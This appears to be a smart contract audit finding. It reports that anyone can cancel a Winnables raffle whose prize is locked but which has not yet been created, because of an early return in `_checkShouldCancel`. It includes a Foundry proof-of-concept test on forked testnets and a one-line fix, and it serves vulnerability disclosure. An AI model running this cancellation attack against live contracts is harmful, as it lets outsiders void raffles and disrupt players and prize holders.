Faithful Smoke Hawk

High

# Anyone can cancel a raffle before it is created upon receiving the raffleId message from ethereum

### Summary

The wrong return will cause raffle is canceled as attacker call `cancelRaffle`

### Root Cause

In `WinnablesTicketManager.sol:436`, there is a wrong return if `raffle.status` is `PRIZE_LOCKED`.
https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L436

### Internal pre-conditions

1. Role(0) call `lockNFT/lockETH/lockTokens`
2. The CCIP massage has been successfully transmitted to target chain

### External pre-conditions

1. Role(0) don't call `createRaffle`

### Attack Path

1. Attacker call `cancelRaffle`

### Impact

1. The raffle is canceled.
2. Players can't buy tickets.
3. The locked prize is unlocked.

### PoC

1. Install dependency: @chainlink/local.
```solidity
npm install @chainlink/local
```
2. Set .env.
```solidity
ETHEREUM_SEPOLIA_RPC=https://sepolia.gateway.tenderly.co
AVALANCHE_FUJI_RPC=https://avalanche-fuji.blockpi.network/v1/rpc/public
```
3. Paste code below into test/foundry folder.
```solidity
// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.24;

import {Test} from "forge-std/Test.sol";

import {WinnablesTicketManager} from "../../contracts/WinnablesTicketManager.sol";
import {WinnablesTicket} from "../../contracts/WinnablesTicket.sol";
import {WinnablesPrizeManager} from "../../contracts/WinnablesPrizeManager.sol";

import {CCIPLocalSimulatorFork, Register} from "@chainlink/local/src/ccip/CCIPLocalSimulatorFork.sol";

contract TestCancelRaffle is Test {
    WinnablesTicketManager ticketManager;
    WinnablesTicket tickets;
    WinnablesPrizeManager prizeManager;

    CCIPLocalSimulatorFork public ccipLocalSimulatorFork;

    Register.NetworkDetails mainnetNetworkDetails;
    Register.NetworkDetails avalancheNetworkDetails;

    address admin = makeAddr("admin");
    address user = makeAddr("user");

    uint256 mainnetFork;
    uint256 avalancheFork;
    // Avalanche FUJI VRF config
    address vrfCoordinator = 0x5C210eF41CD1a72de73bF76eC39637bB0d3d7BEE;
    bytes32 keyHash = 0xc799bd1e3bd4d1a41cd4968997a4e03dfd2a3c7c04b695881138580163f42887;
    uint64 subscriptionId = 2828;

    function setUp() external {
        // fork
        mainnetFork = vm.createFork(vm.envString("ETHEREUM_SEPOLIA_RPC"));
        avalancheFork = vm.createFork(vm.envString("AVALANCHE_FUJI_RPC"));
        // ccip local
        vm.selectFork(mainnetFork);
        ccipLocalSimulatorFork = new CCIPLocalSimulatorFork();
        vm.makePersistent(address(ccipLocalSimulatorFork));
        mainnetNetworkDetails = ccipLocalSimulatorFork.getNetworkDetails(block.chainid);
        vm.selectFork(avalancheFork);
        avalancheNetworkDetails = ccipLocalSimulatorFork.getNetworkDetails(block.chainid);
        // deploy contracts
        // mainnet
        vm.selectFork(mainnetFork);
        vm.startPrank(admin);
        prizeManager = new WinnablesPrizeManager(mainnetNetworkDetails.linkAddress, mainnetNetworkDetails.routerAddress);
        ccipLocalSimulatorFork.requestLinkFromFaucet(address(prizeManager), 1 ether);
        vm.stopPrank();
        // avalanche
        vm.selectFork(avalancheFork);
        vm.startPrank(admin);
        tickets = new WinnablesTicket();
        ticketManager = new WinnablesTicketManager(
            avalancheNetworkDetails.linkAddress,
            vrfCoordinator,
            subscriptionId,
            keyHash,
            address(tickets),
            avalancheNetworkDetails.routerAddress
        );
        ticketManager.setCCIPCounterpart(address(prizeManager), mainnetNetworkDetails.chainSelector, true);
        ccipLocalSimulatorFork.requestLinkFromFaucet(address(ticketManager), 1 ether);
        vm.stopPrank();
    }

    function testCancelRaffle() public {
        vm.selectFork(mainnetFork);
        deal(address(prizeManager), 10 ether);
        vm.startPrank(admin);
        prizeManager.setCCIPCounterpart(address(ticketManager), avalancheNetworkDetails.chainSelector, true);
        // lockETH and send massage to destination chain
        prizeManager.lockETH(address(ticketManager), avalancheNetworkDetails.chainSelector, 1, 1 ether); // raffleId = 1
        vm.stopPrank();
        ccipLocalSimulatorFork.switchChainAndRouteMessage(avalancheFork);
        vm.selectFork(avalancheFork);
        assertEq(ticketManager.shouldCancelRaffle(1), true); // raffleId = 1
        vm.startPrank(user);
        // cancel raffle and send massage to source chain
        ticketManager.cancelRaffle(address(prizeManager), mainnetNetworkDetails.chainSelector, 1); // raffleId = 1
        vm.stopPrank();
        ccipLocalSimulatorFork.switchChainAndRouteMessage(mainnetFork);
    }
}
```
4. forge test

### Mitigation

When the raffle status is `PRIZE_LOCKED`, cancellation of the raffle is not allowed.
```diff
    function _checkShouldCancel(uint256 raffleId) internal view {
        Raffle storage raffle = _raffles[raffleId];
-       if (raffle.status == RaffleStatus.PRIZE_LOCKED) return;
        if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle();
        if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen();
        uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId);
        if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached();
    }
```